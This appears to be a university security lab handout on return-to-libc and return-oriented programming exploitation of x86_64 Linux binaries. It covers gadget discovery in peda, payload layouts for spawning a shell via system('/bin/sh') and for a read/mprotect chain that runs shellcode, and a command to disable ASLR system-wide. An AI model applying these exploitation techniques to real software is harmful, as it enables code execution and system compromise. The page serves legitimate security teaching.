As we've seen in the previous labs, due to the code integrity protection mechanisms, we cannot store our exploit code in areas marked as non-executable (e.g. data segment or stack). In this case, we need more advanced attacks like reusing parts of the already
executable code in order to bypass the integrity restrictions. For instance, if we want to obtain a shell, we can replace the return address (divert control to) with the address of the system
function from libc
using the "/bin/sh"
string as a parameter. This type of attack is called return-to-libc. In general we can reuse existing code in the program to do what is known as Return-Oriented Programming (ROP). ROP is a very powerful technique: it was shown that the attacker may reuse small pieces of program code called gadgets to execute arbitrary (Turing-complete) operations.
Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.
To apply reconnaisance on a given binary it is best to use the checksec
command that is part of pwntools
.1)
Let's apply it on a random binary:
# checksec --file ./test RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./a
Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.
# checksec --proc-all | head * System-wide ASLR (kernel.randomize_va_space): On (Setting: 2) Description - Make the addresses of mmap base, heap, stack and VDSO page randomized. This, among other things, implies that shared libraries will be loaded to random addresses. Also for PIE-linked binaries, the location of code start is randomized. See the kernel file 'Documentation/sysctl/kernel.txt' for more details. * Does the CPU support NX: Yes
In exploitation it is important to gauge your efforts:
The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction. Here are some example gadgets:
0x00000000004011df: pop rbp; pop r14; pop r15; ret; 0x000000000040111d: pop rbp; ret; 0x00000000004011e3: pop rdi; ret; 0x00000000004011e1: pop rsi; pop r15; ret;
By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. As an example let's say we would like to load 0xdeadbeef
into rdi
and 0xcafebabe
into rsi
. The payload should look like:
RET + 0x00: 0x00000000004011e3 (pop rdi; ret) RET + 0x08: 0x00000000deadbeef RET + 0x10: 0x00000000004011e1 (pop rsi; pop r15; ret) RET + 0x18: 0x00000000cafebabe RET + 0x20: 0x00000000cafebabe (junk for r15, could be anything) RET + 0x28: <address of next instruction to execute (gadget/function call)>
pop rdi
, 0xdeadbeef
is loaded into rdi
and the stack is increased.ret
, code flow will go to the instruction at the top of the stack, which is now RET + 0x10
(because of the previous pop
)pop rsi
, 0xcafebabe
is loaded into rsi
and the stack is increased.pop r15
, 0xcafebabe
is loaded into r15
and the stack is increased.ret
, code flow will go to the instruction at the top of the stack, which is now RET + 0x28
(because of the previous two pop
s)We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.
On x86_64 the function arguments are set in registers so we need to set the arguments using appropriate ROP gadgets:
Example:
pop rdi; ret
followed by a value on stack (first arg)pop, rsi; ret
followed by a value on stack (second arg)Step by step stack changes
Checksec in peda
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
Gadget finding in peda
Apart from objdump
which only finds aligned instructions, you can also use dumprop
in peda to find all gadgets in a memory region or mapping:
gdb-peda$ start .... gdb-peda$ dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: ret2libc-rop.txt ... 0x40111e: ret 0x401083: cli; ret 0x40111f: nop; ret 0x401155: leave; ret 0x401081: nop edx; ret 0x401080: endbr64; ret 0x4010ae: jmp rax; ret 0x40111d: pop rbp; ret 0x4011e3: pop rdi; ret 0x4011e2: pop r15; ret 0x401154: nop; leave; ret 0x401017: add esp,0x8; ret 0x401016: add rsp,0x8; ret 0x40107f: nop; endbr64; ret 0x4010f6: add [rax],al; ret 0x4010f5: add [rax],r8b; ret 0x4011e1: pop rsi; pop r15; ret 0x4011e0: pop r14; pop r15; ret 0x40107e: hlt; nop; endbr64; ret 0x4011cc: fisttp [rax-0x7d]; ret 0x4011ef: add bl,dh; nop edx; ret 0x4010f3: nop [rax+rax*1+0x0]; ret 0x401179: mov eax,0x0; pop rbp; ret 0x401014: call rax; add rsp,0x8; ret 0x40111b: add [rcx],al; pop rbp; ret --More--(25/115)
The simplest way to dump basic ROP gadget is using the ropgadget
command such as below:
gdb-peda$ ropgadget ret = 0x40101a popret = 0x40111d addesp_8 = 0x401017
Something finer is using asmsearch
or ropsearch
:
gdb-peda$ asmsearch "pop ? ; ret" Searching for ASM code: 'pop ? ; ret' in: binary ranges 0x0040111d : (5dc3) pop rbp; ret 0x0040117e : (5dc3) pop rbp; ret 0x004011e2 : (415fc3) pop r15; ret 0x004011e3 : (5fc3) pop rdi; ret gdb-peda$ asmsearch "pop ? ; pop ? ; ret" Searching for ASM code: 'pop ? ; pop ? ; ret' in: binary ranges 0x004011e0 : (415e415fc3) pop r14; pop r15; ret 0x004011e1 : (5e415fc3) pop rsi; pop r15; ret gdb-peda$ asmsearch "call ?" Searching for ASM code: 'call ?' in: binary ranges 0x00401014 : (ffd0) call rax 0x0040104b : (e9d0) jmp 0x401020 0x00401057 : (89d1) mov ecx,edx 0x004010da : (48d1) sar rsi,1 0x00401160 : (e8d1) call 0x401136 <vuln> 0x00401190 : (89d6) mov esi,edx gdb-peda$ ropsearch "pop rdi" Searching for ROP gadget: 'pop rdi' in: binary ranges 0x004011e3 : (b'5fc3') pop rdi; ret # search the requested gadget in libc area gdb-peda$ ropsearch "xchg eax, esp;" libc
All content necessary for the CNS laboratory tasks can be found in the CNS public repository.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Note that this has a system-wide effect. To launch a single executable with ASLR disabled, use:
setarch $(uname -m) -R <executable>
(You can pass a shell as the executable and all processes launched by that shell will also have ASLR disabled.)
Run any program (for instance, ret2libc
) and find some specific ROP gadgets:
call rdi; ret
in libc memory range.gdb ./ret2libc gdb-peda$ start # must start for libc to be mapped ... gdb-peda$ ropsearch "pop ?; pop ?; ret" Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges 0x004011e1 : (b'5e415fc3') pop rsi; pop r15; ret 0x004011e0 : (b'415e415fc3') pop r14; pop r15; ret gdb-peda$ ropsearch "call rdi; ret" 0x00007ffff7dc6000 0x00007ffff7f8b000 Searching for ROP gadget: 'call rdi; ret' in range: 0x7ffff7dc6000 - 0x7ffff7f8b000 0x00007ffff7f4fe87 : (b'ffd7c3') call rdi; ret
Analyze the 00-tutorial-2-ret2libc/rlibc.c
source code. As we can see, there is a buffer overflow vulnerability.
Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call system("/bin/sh")
. This exercise assumes that the libc address of system
remains constant, so don't forget to disable ASLR.
[overflow] [<pop rdi gagdget> address] ["/bin/sh" address] [system address]
system()
and set it as a return address in our payload.root@kali:~/lab-08# gdb rlibc gdb-peda$ b main Breakpoint 2 at 0x401157: file ret2libc.c, line 10. gdb-peda$ r Starting program: /root/lab-08/rlibc Breakpoint 1, main () at rlibc.c:12 gdb-peda$ p system $1 = {<text variable, no debug info>} 0x7ffff7e10830 <system>
"/bin/sh"
string in order to send it as an argument to system()
. We can check if we already have this string somewhere in libc.gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x7ffff7f53e78 --> 0x68732f6e69622f ('/bin/sh')
offset
where the return address starts. We can do this using the peda
pattc
and patto
commands as in the previous labs. 00-tutorial-2-ret2libc/solution.py
Analyze the content of 01-ropbuf/ropbuf.c
. There is a buffer overflow, but in order to exploit it we have to know the buffer's address on the stack. We had a similar situation in lab7 where we built a 2-stages exploit and managed to leak the buffer's address. But this is not always so easy to guess/leak.
If you look at the assembly code for the vulnerable function you can see where the buffer is located at return.
gdb-peda$ pdis vuln Dump of assembler code for function vuln: 0x0000000000401136 <+0>: push rbp 0x0000000000401137 <+1>: mov rbp,rsp 0x000000000040113a <+4>: sub rsp,0x90 0x0000000000401141 <+11>: mov QWORD PTR [rbp-0x88],rdi 0x0000000000401148 <+18>: mov rdx,QWORD PTR [rbp-0x88] 0x000000000040114f <+25>: lea rax,[rbp-0x80] 0x0000000000401153 <+29>: mov rsi,rdx 0x0000000000401156 <+32>: mov rdi,rax 0x0000000000401159 <+35>: call 0x401030 <strcpy@plt> 0x000000000040115e <+40>: nop 0x000000000040115f <+41>: leave 0x0000000000401160 <+42>: ret End of assembler dump.
ret
is executed.
There is no need for a memory disclosure / information leak of the buffer address. You can find a gadget that jumps / calls that register.
Use ropsearch ... libc
. Instead of ...
place the instructions you search.
Using this information, find a ROP gadget that will help you jump directly to a shellcode stored in the buffer.
Replace the return address with the address of the ROP gadget. You can start from the skeleton in 01-ropbuf/exploit.py
. This exercise also needs ASLR disabled, since it assumes that the ROP gadget's address remains constant between consecutive runs.
pwntools
in Python use
io = process(["./ropbuf", payload]) # Run ./ropbuf using payload as command line argument.
pack(...).strip(b\"x00")
.
Try using the same exploit on ropbuf_dbg
binary. You'll see that it doesn't work.
You can use the recommended ROP debugging method described above to find out why the same exploit doesn't work.
checksec
to discover information about the ropbuf
and ropbuf_dbg
executables.
As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.
Take a look at 02-ropchain/ropchain.c
and make it call call_1()
followed by call_2()
and call_exit()
. You can start from the skeleton in 02-ropchain/exploit.py
. When calling call_1()
and call_2()
, make them print the messages in the if
block by passing the proper parameters.
Now let's move to a more practical example by chaining useful libc
functions.
Take a look at 03-roplibc/roplibc.c
. We can see that we have a buffer overflow on buf
and a global, unused gbuf
.
buf
, nor in gbuf
. But what if we manage to call (jump to) mprotect over the memory area where we store the shellcode, and make it executable?gbuf
is larger than buf
, we might want to put our shellcode there. But how do we do this when the only read
call is on buf
? In this case, we will also want to call (jump to) read in our exploit payload.buf
) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.[pop rdi;ret][fd=0][pop rsi;ret][gbuf][pop rdx;ret][shellcode_len][read_addr]
[pop rdi;ret][page][pop rsi;ret][page_size] [pop rdx;ret][mp3][mprotect_addr]
[gbuf_addr]
gbuf
. The pop ?;ret
ROP gadgets will pop the values from the stack into the proper registers for the read function. Then it calls another pop ?;ret
ROP gadgets to pop values from stack in registers, as parameters(mp1,mp2,mp3) for mprotect function, in order to make the gbuf
/shellcode area executable. And finally, it returns/jumps to gbuf
where the shellcode is stored.roplibc.py
. You can find the gbuf
addr using nm
.nm roplibc | grep gbuf
print
(or p
) command, similar to the run below:
$ gdb -q ./roplibc Reading symbols from ./roplibc...done. gdb-peda$ start [...] gdb-peda$ p read $3 = {ssize_t (int, void *, size_t)} 0x7ffff7af4070 <__GI___libc_read> gdb-peda$ p mprotect $4 = {<text variable, no debug info>} 0x7ffff7affae0 <mprotect>
mprotect()
is the address of the page you want to change the mapping for. It must be a page address, i.e. the last three hex digits (nibbles) have to be 0
, that is the 12
bits that corresponding to the page offset.
After you create the exploit, you can check in gdb with vmmap command if mprotect call is executing properly and if the section containing gbuf is now executable.
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00401000 0x00402000 r-xp /home/student/lab-08/5-roplibc/roplibc 0x00402000 0x00403000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00403000 0x00404000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00404000 0x00405000 rw-p /home/student/lab-08/5-roplibc/roplibc
After mprotect call:
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00401000 0x00402000 r-xp /home/student/lab-08/5-roplibc/roplibc 0x00402000 0x00403000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00403000 0x00404000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00404000 0x00405000 rwxp /home/student/lab-08/5-roplibc/roplibc